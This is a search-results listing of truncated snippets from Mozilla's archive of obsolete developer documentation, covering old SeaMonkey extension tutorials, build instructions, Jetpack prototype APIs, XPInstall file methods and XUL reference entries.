Enabling the behavior - updating the status periodically - Archive of obsolete content
now that we have code to retrieve tinderbox status and update the icon, we need to run it periodically. function loadtinderboxstatus() { gxmlhttprequest =
new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.send(null); window.settimeout(loadtinderboxstatus, 60000); } window.settimeout(loadtinderboxstatus, 1000); window.settimeout schedules functions to run at some future time. we use it inside the loadtinderboxstatus function to make that function run a second (1,000 milliseconds) after startup and a minute (60,000 milliseconds) after each invocation. this allows users to get relatively frequent updates about tinderbox without overloading the tinderbox server or s...
Finding the file to modify - Archive of obsolete content
the xul file that defines the structure of the browser window. the best way to find a xul file for a window is to use the dom inspector. the dom inspector is a tool bundled with mozilla that allows you to examine the dom of web pages and xul windows. to access it, go to the "tools" menu, select the "web development" submenu, then select the "dom inspector" item. the dom inspector will load in a
new window. in the dom inspector window, go to the file menu, select the inspect a window submenu, then select the mozilla browser window item (named after the page currently loaded in the browser). the dom inspector will display the url of the xul file that defines the mozilla browser window, which is chrome://navigator/content/navigator.xul. a chrome url is a url used internally by mozilla to ref...
Prerequisites - Archive of obsolete content
lowing programs on your computer: an installation of mozilla; zip and unzip utilities; a text editor. you should also understand tag-based languages like html as well as basic javascript, css, and the dom. you might install mozilla multiple times in the course of this tutorial, so you will find it handy to keep around a mozilla installer. if you currently use mozilla, you should install a
new copy of the software in a different location from the existing installation for the purposes of this demo. this tutorial instructs you to do things that can damage your installation and make it unusable, so don't modify your primary mozilla installation per the instructions in this tutorial unless you really know what you are doing! « previousnext » ...
Specifying the appearance - Archive of obsolete content
ox-status[status="testfailed"] { list-style-image: url("chrome://navigator/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image: url("chrome://navigator/content/tb-busted.png"); } mozilla can have multiple sets of stylesheets that govern its appearance, and we don't want to have to add these rules to each set (and have our extension break when a
new set gets installed), so we'll put this stylesheet in a file called tinderstatus.css in the same directory as navigator.xul and reference it at the top of that file right under the global stylesheet reference: <?xml-stylesheet href="chrome://navigator/skin/" type="text/css"?> <?xml-stylesheet href="chrome://navigator/content/tinderstatus.css" type="text/css"?> our css rules use the li...
Creating a Mozilla Extension - Archive of obsolete content
warning: the content of this article may be out of date. this tutorial describes how to create an extension for the old versions of mozilla suite (currently seamonkey). see building an extension for an up-to-date tutorial (it focuses on firefox, but is also applicable to other
new applications). a mozilla extension is an installable enhancement to the mozilla browser that provides additional functionality (for example linky, which adds an item to the context menu for opening multiple links in a document or selection). this tutorial walks you through the process of building a mozilla extension that adds an icon to mozilla's status bar showing the current status of the mozilla source code (i.e. whether or not the latest version of the code is compiling successfully and passing tests). the e...
chrome.manifest - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "chrome.manifest": skin global my_theme jar:chrome/my_theme.jar!/global/ skin mozapps my_theme jar:chrome/my_theme.jar!/mozapps/ skin messenger my_theme jar:chrome/my_theme.jar!/messenger/ skin messenger-
newsblog my_theme jar:chrome/my_theme.jar!/messenger-
newsblog/ skin communicator my_theme jar:chrome/my_theme.jar!/communicator/ skin help my_theme jar:chrome/my_theme.jar!/help/ skin navigator my_theme jar:chrome/my_theme.jar!/navigator/ skin editor my_theme jar:chrome/my_theme.jar!/editor/ ...
Creating a hybrid CD - Archive of obsolete content
les have long file names which makes creating the cd on a macintosh difficult because the hfs filesystem limits the length of file names to 32 characters. the utility mkhybrid lets you create hybrid cds that work with all three filesystems. mkhybrid was written by james pearson and is is a component of the latest versions of cdrecord. i used version 1.8.1a03 although you'll probably want to get a
newer one. here's what i did to create the cd for the second anniversary party. mkhybrid -o ~/party.iso -r -j -hfs -v mozilla.party -map ~/hfsmapping ~/party/ cdrecord -v speed=2 dev=0,6,0 ~/party.iso its also handy to be able to mount an image file to test it. mount ~/party.iso /mnt/cdrom -t iso9660 -o loop=/dev/loop3,blocksize=1024 umount /mnt/cdrom here is the hfs mapping that i used. the crea...
Creating a Release Tag - Archive of obsolete content
h. cd .. cvs tag -b mozilla_0_9_4_1_release_mini_branch mozilla/client.mk delete the existing build scripts and repull them from the mini-branch you just created. rm mozilla/client.mk cvs co -r mozilla_0_9_4_1_release_mini_branch mozilla/client.mk in each of the build scripts find the variables defining the branch and change it from the branch you originally pulled from to the
new tag you are creating. mozilla/client.mk check the build scripts back in to the mini-branch. cvs ci mozilla/client.mk create the tag. find . -type d \! -name cvs | xargs -l -p10 cvs tag -l mozilla_0_9_4_1_release >& ../taglog original document information author(s): dawn endico last updated date: november 1, 2005 copyright information: portions of th...
Dehydra Function Reference - Archive of obsolete content
rint("werror is set") warning([code,] msg [, loc]) print a warning message using the gcc warning mechanism. if -werror is specified this will cause compilation to fail. optional: code is an integer parameter that allows warnings to be enabled(-wfoo) and disabled(-wno-) on the gcc commandline. this parameter is used when the first argument to warning() is an integer. it is not possible to define
new warnings in dehydra, thus one has to figure out a warning code from an existing warning and hijack it for ulterior purposes. msg is a string to be presented as a gcc warning optional: loc is the location that should be reported for the warning. if no location is provided, the location is inferred from the last process_type or process_function. error(msg [, loc]) print an error message using the ...
Installing Dehydra - Archive of obsolete content
building spidermonkey it is recommended that you use spidermonkey revision aurora_base_20110705 when building dehydra. cd $home hg clone http://hg.mozilla.org/mozilla-central/ cd mozilla-central hg update aurora_base_20110705 cd js/src autoconf-2.13 mkdir $home/obj-js cd $home/obj-js $home/mozilla-central/js/src/configure --enable-optimize --disable-debug make it has to be checked whether later/
newer branches (like aurora_base_20120131) are working, too. please also note that autoconf v2.13 is really needed: it does not work with e.g. v2.68. there is no need for some installation after make. you can skip the next section "building gcc 4.5" if you are using gcc 4.6 or above. building gcc 4.5 for treehydra's process_tree_decl to work, when compiling with g++, you must use a patched gcc 4.5 be...
Download Manager preferences - Archive of obsolete content
ovides a list of them. preference description browser.download.antivirus.dontclean note: in gecko 1.9.1. a boolean value that indicates whether the anti virus software should try to clean a downloaded file when a virus is detected. default value is false. browser.download.manager.addtorecentdocs a boolean value that indicates whether or not
new downloads should be added to the recent documents list. default value is true. browser.download.manager.alertonexeopen a boolean value that indicates whether the ui should alert the user about the dangers of opening (executing) an exe. the user may check a "don't ask" box on the ui to toggle this. default value is true. browser.download.manager.closewhendone a bool...
Drag and drop events - Archive of obsolete content
note: the drag and drop event support advertised in the firefox 3 release notes is not the same as the events described in the drag and drop section of the html 5 working draft. e.g. firefox 3 does not support the 'drag' event. this support is added in firefox 3.5, and is documented separately on the page [drag and drop]. drag sent when a drag operation begins. dragend sent when a drag operation ends. for more information about drag and drop, see the article drag and drop. ...
Drag and Drop - Archive of obsolete content
this section describes how to implement objects that can be dragged around and dropped onto other objects. the drag and drop interface many user interfaces allow one to drag particular objects around within the interface. for example, dragging files to other directories, or dragging an icon to another window to open the document it refers to. mozilla and xul provide a number of events that can handle when the user attempts to drag objects around. a user can start dragging by holding down the mouse button and moving the mouse. ...
External CVS snapshots in mozilla-central - Archive of obsolete content
only, changes shall be delivered to the upstream software projects. eventually we'd like to have acls, but as of today there is no protection for accidental commits to those directories. such changes will get overwritten without warning on importing the next updated version. nspr nsprpub nss dbm security/dbm security/coreconf security/nss special procedures must be used to update these to
newer snapshots of the upstream software projects. the procedure for nspr and nss is documented here. ...
Creating a Help Content Pack - Archive of obsolete content
separated list of uris for nc:datasources instead of separate entries, as separate entries will require a slightly longer time to load. the glossary file the glossary file has the simplest format of all the data sources you'll need because there's only one level of content. ...
Helper Apps (and a bit of Save As) - Archive of obsolete content
decides on a suggested filename for the data in case it will be saved. decides whether the data should be content-decoded (based on some not-so-great heuristics). decides whether the user should be prompted (based on a preference). calls show() on the nsihelperapplauncherdialog, which asynchronously puts up the helper app dialog. nsexternalapphandler::ondataavailable here we just copy the
newly arrived data over into our temporary file. if any read or write errors occur, abort the whole process: cancel the channel. pull down the helper app dialog (if any). remove the temp file. nsexternalapphandler::onstoprequest set a flag that we're done, then do whatever the user wants if the user has decided (save to disk and open in helper are the current options the user has). helper a...
Isp Data - Archive of obsolete content
this page will explain how to create a .rdf or .xml file that you can place in the $installfolder/default/isp to do a variety of things. this page applies to thunderbird (mail/
news). introduction these files allow for adding to the
new account wizard a
new option, and help with, among other things, deployment of custom thunderbird. tools needed the files are simple text files, in utf-8 encoding, so use your favorite modern text editor. a working install of thunderbird is also handy for testing. getting started first take a look at the number of examples available: http://infosec.ufl.edu/tbird/gatorlink.xml mail
news/base/ispdata/aol.rdf see the thunderbird isp hooks for more details. ...
importUserCertificates - Archive of obsolete content
to derive the nickname: <tt><common name>'s <issuer name> id</tt>. "certrepstring" this string is the cmmf certification response from the ca that contains the user's certificate(s). the response is base-64 encoded. forcebackup this is a boolean argument. it allows the ca or ra to indicate to the client whether to force the user to back up a
newly issued certificate (pkcs #12). the importusercertificates() method is used to import
newly issued certificates for the user. the private key for the certificates must already reside in the user's personal private key database. the request id in the response being imported must match the request id in the associated certification request or recovery request. if the import operation succeed...
First run - Archive of obsolete content
lopment. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! jetpack lets you specify arbitrary content that will be shown to your users when they install your jetpack. you can also register a callback that will be called after installation. first-run page when users install your jetpack, they will be greeted with a
new page notifying them that installation was successful. by default this page contains some simple text explaining that they may now use the jetpack and how to uninstall it. you can replace this text with a page tailored to your jetpack. for example, you may want to tell users how to use your jetpack or link to your jetpack's homepage. this page can be defined as either html or a remote url. the...
Enabling Experimental Jetpack Features - Archive of obsolete content
for what we learned from it and the blog post announcing the first sdk release for what we're up to next! the proposed method for accessing jetpack features that are still in development and may be added in the future is inspired by python's future module. in python, you can call from __future__ import foo which adds the functionality that foo yields to the script. in jetpack, we propse adding a
new function to the base namespace called importfromfuture. methods import(stringmountpath string)imports the requested experimental feature into the script. stringmountpathstring that enumerates where, starting from the jetpack base, the feature will be mounted. to get a list of mount paths that are available, see the method below. string here is an example of how to import a feature (the clipboa...
First Run - Archive of obsolete content
by default this page contains some simple text explaining that they may now use the jetpack and how to uninstall it. you can replace this text with a page tailored to your jetpack. ...
Meta - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! future imports experimental
new language and api features. used often. first run control over the content and experience of your jetpack's initial use me introspection of your jetpack's dynamic state settings interface for defining and accessing user settings with built-in ui ...
Simple Storage - Archive of obsolete content
it doesn't already exist.jetpack.storage.simple.notes = jetpack.storage.simple.notes || [];var notes = jetpack.storage.simple.notes;// updates the jetpack menu with the current notes. we'll add a notes menu with// a submenu, which lists all the notes. if there are no notes, we'll show a// disabled "(empty)" menuitem.function updatejetpackmenu() { jetpack.menu.set({ label: "notes", menu:
new jetpack.menu(notes.length > 0 ? notes : [{ label: "(empty)", disabled: true }]) });}// modify the page's context menu by sneaking in before it's shown. if there's// a selection, add a note menuitem that makes a
new note. otherwise, don't// modify the menu at all. we'll limit the number of notes to 20. old notes// will be forgotten. :(jetpac...
Tabs - Archive of obsolete content
gsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded. onfocus()changing the focus of a tab. methods open(urlstring)opens a
new tab in your browser with a defined url. urlurl to be openedstring jetpack.tabs.open("http://www.example.com/"); blah(lengthstringfocusedstringtostringstringpopstringpushstringreversestringshiftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring re...
slideBar - Archive of obsolete content
ck.future.import('slidebar') last update: v0.6 summary: slidebar is a reinvention of the old sidebar feature of browsers. they allow quick access to a wide range of both temporary and permanent information at the side of your browser window. when a slidebar feature is selected, its contents will be revealed from behind the current web page. creating a slidebar and adding options to implement a
new slidebar within your jetpack code, use the method jetpack.slidebar.append(options) ...
Simple Storage - Archive of obsolete content
t already exist. jetpack.storage.simple.notes = jetpack.storage.simple.notes || []; var notes = jetpack.storage.simple.notes; // updates the jetpack menu with the current notes. we'll add a notes menu with // a submenu, which lists all the notes. if there are no notes, we'll show a // disabled "(empty)" menuitem. function updatejetpackmenu() { jetpack.menu.set({ label: "notes", menu:
new jetpack.menu(notes.length > 0 ? notes : [{ label: "(empty)", disabled: true }]) }); } // modify the page's context menu by sneaking in before it's shown. if there's // a selection, add a note menuitem that makes a
new note. otherwise, don't // modify the menu at all. we'll limit the number of notes to 20. old notes // will be forgotten.
Mac OS X Build Prerequisites/fink - Archive of obsolete content
rnative to macports. it doesn't seem to be as well maintained (in terms of available packages) as macports, so it is strongly suggested that you use macports instead of fink. you may download the most recent version of fink that is compatible with your operating system release. fink installs in /sw by default. the installer should configure the fink environment for you, making it available in any
new terminal window. if you perform a major operating system upgrade on your computer, such as an upgrade from tiger to leopard, you should remove the /sw directory and re-install fink and the packages below. libidl, glib using fink. libidl is included in the orbit installation. $ sudo apt-get update $ sudo apt-get install orbit orbit-dev glib autoconf-2.13 using fink. autoconf is installed at /sw...
Measuring add-on startup performance - Archive of obsolete content
an add-on that is no longer supported. using about:startup the about startup add-on provides a much simpler way to measure startup performance. once installed, it will gather startup data and display it in the about:startup page. the add-on is very lightweight, so it shouldn't have a noticeable negative effect on your baseline and add-on tests. to test with about:startup, you should set up a
new firefox profile, install this add-on, and then open and quit firefox repeatedly. if you want to match talos, you should do this 20 times. then look at the results in the about:startup page. this should provide your baseline numbers. then repeat the process with both about startup and your add-on installed. the overhead can be calculated using the same formula. the about:startup page shows 3 diff...
Metro browser chrome tests - Archive of obsolete content
n() each have individual exception handlers to prevent one method from interfering with the execution of another. an exception in any of these methods will cause a test failure. additional built-in framework test checks will run after the completion of each individual test insuring tests clean up properly. for more information on test execution see the main test exectuon loop in head.js. adding a
new browser chrome test to the tree to add a
new metro browser chrome test add the test file to the browser_tests variable in /browser/metro/base/tests/mochitest/makefile.in. your test file name must be prefixed with "browser_", and must have a file extension of ".js". files that don't match this pattern will be ignored by the test harness. using a descriptive file name is strongly encouraged instead...
Mozilla Application Framework - Archive of obsolete content
checkin log that you can query for checkins between certain dates, of certain files, or by certain developers. tinderbox our 24/7 build and test webtool that constantly builds, tests, and reports on the mozilla application suite on multiple platforms so you can see the state of the application at any given point in time. community a large, active development community that interacts via
newsgroups, mailing lists, irc channels, and web sites. flexible licensing with three licenses to choose from (mpl, lgpl, and gpl) so you can develop both open source and proprietary applications and combine the mozilla framework with other libraries. dozens of existing applications from both large and small development teams. did you know? the mozilla app framework can be used to build standa...
NSC_SetPIN - Archive of obsolete content
name nsc_setpin - modify the user's pin. syntax ck_rv nsc_setpin( ck_session_handle hsession, ck_char_ptr poldpin, ck_ulong uloldlen, ck_char_ptr p
newpin, ck_ulong ul
newlen ); parameters nsc_setpin takes five parameters: hsession [input] poldpin [input] . uloldlen [input] .; p
newpin [input] .; ul
newlen [input] . description nsc_setpin modifies the pin of user that is currently logged in. this is only valid for the private_key_slot. return value ckr_ok examples #include <assert.h> see also fc_setpin ...
Plug-n-Hack Phase1 - Archive of obsolete content
l configures itself by serving an html document (we’ll call this the configuration document) to the browser. this can cause the browser to inspect the manifest and register the tool by firing a customevent with the type configuresectool and a properties object which specifies the url of the tool manifest. for example: var manifest = {"detail":{"url":"http://localhost:8080/manifest"}}; var evt =
new customevent('configuresectool', manifest); it is suggested that browsers wishing to support pnh restrict handling of customevents such that they’re ignored where the event happens outside of user initiated actions. the configuration document should then listen for a number of other events: configuresectoolstarted - this notifies the document that the browser is processing the configurat...
Porting NSPR to Unix Platforms - Archive of obsolete content
pthreads as an implementation strategy. this is referred to as pthreads nspr. pthreads nspr has relatively orthogonal source code in the thread management, thread synchronization, and i/o area. the pthreads source files are in <tt>mozilla/nsprpub/pr/src/pthreads</tt>. i use the netbsd port i recently received as an example to illustrate the mechanical part of the porting process. there are a few
new files you need to add: <tt>mozilla/nsprpub/config/netbsd.mk</tt> the name of this file is the return value of <tt>uname -s</tt> on the platform, plus the file suffix <tt>.mk</tt>. if the return value of <tt>uname -s</tt> is too long or ambiguous, you can modify it in <tt>mozilla/nsprpub/config/arch.mk</tt> (the makefile variable <tt>os_arch</tt>). <tt>mozilla/nsprpub/pr/include/md/_netbsd.cfg...
Build - Archive of obsolete content
disable-javaxpcom build xulrunner : make -f client.mk build once the build is done, there will be a directory called mozilla-obj. go into the prism/ directory and create a .mozconfig file mk_add_options moz_objdir=@topsrcdir@/mozilla-obj/prism ac_add_options --with-libxul-sdk=../dist ac_add_options --enable-application=prism you need to define an environment variable to point the build to the
new .mozconfig. this variable is called mozconfig export mozconfig=$pwd/.mozconfig #this should point to mozilla/prism/.mozconfig go back to the mozilla/ directory and do another build, this time, prism will get built cd ../ make -f client.mk build congratulations, you have just built prism. you can now find the executable in mozilla-obj/prism/dist/bin/prism. if you want to create a package, go to ...
BundleLibrary - Archive of obsolete content
note: these bundles have not be tested with the latest version of prism and probably won't run. we are working on a
new bundle library compatible with the current prism version and welcome any contributions from the developer community. bundles gmail: gmail.webapp google calendar: gcalendar.webapp google docs: gdocs.webapp google groups: groups.webapp google analytics: ganalytics.webapp google reader: greader.webapp facebook: facebook.webapp twitter: twitter.webapp user contributed bundles gmail w/gtalk: gmail.webapp (note: work with latest version of prism!) 32 online todo lists: zip file with web apps for 32 online todo lists anywhere.fm: anywhere.fm@prism.app.webapp a service that lets you upload your entire music library to their servers and listen from anywhere through a slick...
Reading textual data - Archive of obsolete content
om nsiscriptableinputstream as described on the file i/o code snippets page, you can convert it to utf-8 // sstream is nsiscriptableinputstream var str = sstream.read(4096); var utf8converter = components.classes["@mozilla.org/intl/utf8converterservice;1"]. getservice(components.interfaces.nsiutf8converterservice); var data = utf8converter.converturispectoutf8 (str, "utf-8"); gecko 1.8 and
newer reading strings starting with gecko 1.8 (seamonkey 1.0, firefox 1.5), you can use nsiconverterinputstream to read strings from a stream (nsiinputstream). this work was done in bug 295047. usage: var charset = /* need to find out what the character encoding is. using utf-8 for this example: */ "utf-8"; const replacementchar = components.interfaces.nsiconverterinputstream.default_replacement_...
Remotely debugging Firefox for Metro - Archive of obsolete content
prerequisites you will need: windows 8 (metro-style) firefox running in the touch-friendly "metro" mode on a windows 8 computer. firefox running in classic "desktop" mode on windows, mac os x, or linux, either on a separate computer or in a separate profile on the same computer. ...
Safely loading URIs - Archive of obsolete content
tc.) use whichever method best fits the data you can get your hands on. if you have a choice as to what data you have, prefer checkloaduriwithprincipal to checkloaduri and prefer checkloaduri to checkloaduristr. note that checkloaduriwithprincipal is not scriptable in gecko 1.8, so extensions are not able to use it. changes in gecko 1.9 a key security change in gecko 1.9 is the addition of the
new security.fileuri.strict_origin_policy preference. this boolean preference, which defaults to true, can be set to false if the user doesn't want to strictly enforce the same origin policy on file: uris. see same-origin policy for file: uris for details. ...
Supporting per-window private browsing - Archive of obsolete content
created them, which means that they work correctly most of the time. however, sometimes you need to adjust the privacy status on a channel manually, for example, if you have created the channel directly yourself. you can use the nsiprivatebrowsingchannel interface for this purpose. the example below creates a channel to load a url, and forces it to be in private mode. var channel = services.io.
newchannel("http://example.org", null, null); channel.queryinterface(components.interfaces.nsiprivatebrowsingchannel); channel.setprivate(true); // force the channel to be loaded in private mode similarly, xmlhttprequest objects created via createinstance(ci.nsixmlhttprequest) will often require explicit adjustment, since they have no context from which to derive a privacy status. var xhr = component...
Running Tamarin performance tests - Archive of obsolete content
nd run all of the tests in that index and report results normalized to the index values. a subset of the tests in the index can be run by passing what tests you want to run after specifying the index file. "--saveindex indexname.py" will run the specified tests and save the values to the give index file. specifying both --index and --saveindex will merge the values specified in --index to the
new saved indexfile. cumulative score:
new option of --score will display a cumulative score for every metric. really most useful with an index file (or v8 tests), since running with raw time values will skew the results towards longer running tests csv output: "--csv filename" will save run results to a csv file that can be analyzed using excel pivottables. use --csvappend if you want to appen...
Tamarin mercurial commit hook - Archive of obsolete content
o sync to the tip of tamarin-redux then add the following to your tamarin-redux/.hg/hgrc file (or to ~/.hgrc to implement for all local repos): [hooks] pretxncommit.commit = python:/path/to/tamarin-redux/utils/hooks/tamarin-commit-hook.py:master_hook once added, all commits will run the commit hook. hook use on every commit to your local repository, the hook will only check for violations in any
new / changed code. any untouched lines of code that violate the check will be ignored. when a violation is found the following will be displayed: > hg commit -m "change with a tab" tab(s) found in test/test.txt for rev 1458 (change 53543674b8e6): @@ -65,4 +65,6 @@ +# tab here ^ (n)o, (y)es, (a)llow tabs for current file are you sure you want to commit this change? [n]: note that the promp...
The life of an HTML HTTP request - Archive of obsolete content
block. after every parsed block it passes the parsed data as nsiparsernodes to the contentsink unless the parser has been temporarily blocked, in wich case it waits until it gets unblocked before parsing the cached data it has receieved while being blocked. (6) the contentsink then builds up nsicontent nodes that describe the document. these content nodes are created by calling functions like ns_
newhtmlxxxxelement(). these element nodes implement the nsihtmlcontent interface as well as their respective dom interfaces. nsicontent::appendchild() is used to build the content tree but appendchild takes a "anotify" argument that marks if it should notify the document about the content model changes or not. this argument is always pr_false when the content sink calls appendchild. the content sink ...
Treehydra - Archive of obsolete content
static analyses analyses being worked on for mozilla 2(many use treehydra) interesting papers esp path-sensitive program verification in polynomial time community view treehydra forums... mailing list
newsgroup rss feed #static on irc.mozilla.org blogs taras glek david mandelin related topics pork c/c++ refactoring tools, mozilla 2, spidermonkey categories interwiki language links ...
URIScheme - Archive of obsolete content
default, port 21 file:// : file:///etc/hosts on unix/linux, file:///c:/some/file.txt on windows. moz-icon://.ext?size=32 : you can replace ext by your some file extension like js, css, xul, xml, etc. and the size number by 1 to 127 mailto:emailaddress@domain.com about: chrome:// ... preferences see gecko.handlerservice.schemes.* scripting interface see nsiprotocolhandler to create a
new protocol/scheme. about: about: about:config about:crashes about:mozilla about:plugins about:robots ... ...
Using addresses of stack variables with NSPR threads on win16 - Archive of obsolete content
t shareddata { prlock *ml; prcondvar *cv; print32 counter; } shareddata; static void forkedthread(void *arg) { shareddata *shared = (shareddata*)arg; while (--shared->counter > 0) pr_waitcondvar(shared->cv, pr_interval_no_timeout); return; } /* forkedthread */ printn main(printn argc, char **argv) { prthread *thread; shareddata shared; shared.ml = pr_
newlock(); shared.cv = pr_
newcondvar(shared.ml); shared.counter = 10; thread = pr_createthread( pr_user_thread, forkedthread, &shared, pr_priority_normal, pr_local_thread, pr_joinable_thread, 0); do { pr_sleep(pr_secondstointerval(1)); pr_lock(shared.ml); if (0 == shared.counter) break; pr_notifycondvar(shared.cv); pr_unlock...
[Deprecated] The Mozilla build VM - Archive of obsolete content
ing you every step of the way. generally, there should be enough information in the bug to get started. whenever you need help, contact the mentor via matrix, in the bug itself, or by email. when you've completed the bug, they will help you get your code into the tree. "good" first bugs may be a little stale, but at some point in their lives we considered that they would be a good first step for
newcomers to mozilla. we are in the process of migrating these bugs to mentored bugs, but more recent "good first bugs" may be good starting points if there are no appropriate mentored bugs. you can also ask your getting-started questions in the introduction chat room on matrix, and any firefox development questions in the developers room. ...
Using Breakpoints in Venkman - Archive of obsolete content
whatever debugger you're using) the opportunity to display information about the execution environment. one of the most important aspects of debugging a script or software program is the ability to examine variables—function return values, errors, counters, variable scopes—as they change over the course of the script execution. the onflipx function in figure 1, for example, uses the variable
newsign to figure out what image to use for the fish. when you set a breakpoint at line 81, you can start animation on the web page in the browser window and see venkman stop execution as it enters the onflipx function. stopped there, venkman displays the value of the
newsign variable as "1" in the local variables view. using breakpoints and the interactive view, you can change the values of the var...
XML in Mozilla - Archive of obsolete content
ities. other notes a lot of the document object model (dom, w3c recommendations and drafts) applies to xml. likewise, the cascading style sheets (css, w3c recommendations and drafts) style language can be used to style xml documents. the code for most the core xml can be found in the following directories on the mozilla mercurial repository: content/xml/, parser/expat/ and parser/htmlparser/. the
newsgroup to discuss xml in mozilla depends a bit on the nature of the question. for example, dom related questions should probably be discussed in the mozilla.dev.tech.dom
newsgroup, while style issues should be discussed on mozilla.dev.tech.css and so on. the catch-all
newsgroup for xml discussion is mozilla.dev.tech.xml. specification or technology status and/or further docume...
Install script template - Archive of obsolete content
on createsecondaryinstall() { // use getfolder in such a way that it creates c:\winnt\system32\myplugin secondaryfolder = getfolder("win system", company_name); // if secondaryfolder is null, then there has been an error if(!secondaryfolder) return nosecondaryinstall; else { // we have admin privileges to write to the win system directory // so we will set up dll and xpt in their
new home errblock2 = addfile (plid, version, plugin_file, secondaryfolder, null); // something went wrong if errblock2 is not 0 if (errblock2!=0) { logcomment("could not add " + plugin_file + " to " + secondaryfolder + ":" + errblock2); return errblock2; } // start installing xpt file if this is a scriptable plugin errblock2 = addfile (plid, version, component_file, secondaryfo...
dirRename - Archive of obsolete content
dirrename renames a directory in place. method of file object syntax int dirrename( filespecobject directory, string
newname ); parameters the dirrename method has the following parameters: directory a filespecobject representing the directory to be renamed.
newname the
new terminal (or leaf) name of the directory. returns an integer error code. for a list of possible values, see return codes. ...
rename - Archive of obsolete content
summary renames a specified file in place. method of file object syntax int rename( filespecobject file, string
newname ) parameters the rename method has the following parameters: file a filespecobject representing the file to be renamed.
newname the
new terminal (or leaf) name of the file. returns an integer error code. for a list of possible values, see return codes. ...
File Object - Archive of obsolete content
parts of this page show the use of the xpinstall api. the majority of this api is now deprecated and as of gecko 1.9 no longer available. extension, theme, and plug-in developers must switch away from install.js based packages to the
new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. file use the file object to manipulate local files and directories during the installation process. overview the file object has methods for analyzing the file system and preparing it (as when
new directories, program shortcuts, version comparisons, or deletions are required) for
newly installed software packages. the file object works in conjunction with the install object. ...
compareTo - Archive of obsolete content
this version object has a smaller (earlier) minor number than version. -2 this version object has a smaller (earlier) release number than version. -1 this version object has a smaller (earlier) build number than version. 0 the version numbers are the same; both objects represent the same version. 1 this version object has a larger (
newer) build number than version. 2 this version object has a larger (
newer) release number than version. 3 this version object has a larger (
newer) minor number than version. 4 this version object has a larger (
newer) major number than version. the following constants are defined and available for checking the value returned by compareto: install...
appendItem - Archive of obsolete content
« xul reference home appenditem( label, value ) return type: element creates a
new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the
newly created element. example <script language="javascript"> function additemstolist(){ var list = document.getelementbyid('mymenulist'); // add item with just the label list.appenditem('one'); // add item with label and value list.appenditem('two', 999); // select the first item list.selectedindex = 0; } </script> <button label="add items" oncommand="additemstolist()"/> <menulist id="mymenulist"> <menupopup/> </menulist> see also insertitemat() removeitemat() ...
appendNotification - Archive of obsolete content
label - label to appear on the notification. this should be either a string, or, from gecko 37 onwards, you can pass a documentfragment with rich content as well. keep in mind that this is all xul so using html elements for styling might still need additional css in order to work as you might expect. ...
insertItem - Archive of obsolete content
« xul reference home insertitem( id, beforenode, wrapper, beforepermanent ) not in seamonkey 1.x return type: element add an item with the given id to the toolbar. the
new item is added just before the item given by the second argument. if the second argument is null, but the beforepermanent argument is true, the item is added to the beginning of the toolbar before the first permanent item. otherwise, if the beforepermanent argument is false, the
new item is added to the end of the toolbar. the third argument can be used to wrap the
new item in another element. usually, the last argument will be null as it is mainly for the use of the customize dialog. the id should match an element in the toolbar's toolbarpalette. some special ids may also be used to create special spacing i...
loadOneTab - Archive of obsolete content
« xul reference home loadonetab( url, referreruri, charset, postdata, loadinbackground, allowthirdpartyfixup ) loadonetab( url, { referreruri: ..., charset: ..., postdata: ..., inbackground: ..., allowthirdpartyfixup: ..., relatedtocurrent: ... }) return type: tab element opens a
new tab that loads a page with the specified url. the rest of the parameters are optional. this method works the same as addtab except for the loadinbackground parameter which allows you to choose whether to open the
new tab in foreground or background. there's also no owner parameter as the owner tab is specified automatically. parameters inbackground if true the tab will be loaded in the background, if false the tab will be the
newly selected tab. and if null or not specified, this paramete...
loadURIWithFlags - Archive of obsolete content
_flags_is_refresh: this flag is used when the url is loaded because of a meta tag refresh or redirect. load_flags_is_link: this flag is used when the url is loaded because a user clicked on a link. the http referer header is set accordingly. load_flags_bypass_history: do not add the url to the session history. load_flags_replace_history: replace the current url in the session history with a
new one. this flag might be used for a redirect. (see nsiwebnavigation.loaduri() for details on the referrer and postdata parameters.) ...
menulist.appendItem - Archive of obsolete content
« xul reference home appenditem( label, value, description ) return type: element creates a
new menuitem element and adds it to the end of the menulist. you may optionally set a value and description. the function returns the
new item. see also appenditem ...
moveByOffset - Archive of obsolete content
« xul reference home movebyoffset( offset , isselecting, isselectingrange) return type: no return value if offset is positive, adjusts the focused item forward by that many items. if offset is negative, adjusts the focused item backward by that many items. if isselecting is true, then the selection is also adjusted. if isselectingrange is also true, then the
new item is selected in addition to any currently selected items. if isselectingrange is false, any existing selection is cleared. items that are hidden are skipped. ...
moveTo - Archive of obsolete content
« xul reference home moveto( x, y ) return type: no return value moves the popup to a
new location defined by screen coordinates (and not client coordinates). if both x and y have the value -1 the call will realign the popup with its anchor node. ...
replaceGroup - Archive of obsolete content
if there were more tabs before, the additional ones are not removed. you can use the removetab method to remove the existing tabs first if that is desired. the argument should be an array of objects, one for each document to load. the objects may be defined in script and contain a uri property for the url of the page to load. ...
Node - Archive of obsolete content
s interface please see dom-level-2-core short element_node 1 short attribute_node 2 short text_node 3 short cdata_section_node 4 short entity_reference_node 5 short entity_node 6 short processing_instruction_node 7 short comment_node 8 short document_node 9 short document_type_node 10 short document_fragment_node 11 short notation_node 12 methods node appendchild ( node
newchild ) node clonenode ( boolean deep ) boolean hasattributes ( ) boolean haschildnodes ( ) node insertbefore ( node
newchild , node refchild ) boolean issupported ( string feature , string version ) void normalize ( ) node removechild ( node oldchild ) node replacechild ( node
newchild , node oldchild ) ...
ContextMenus - Archive of obsolete content
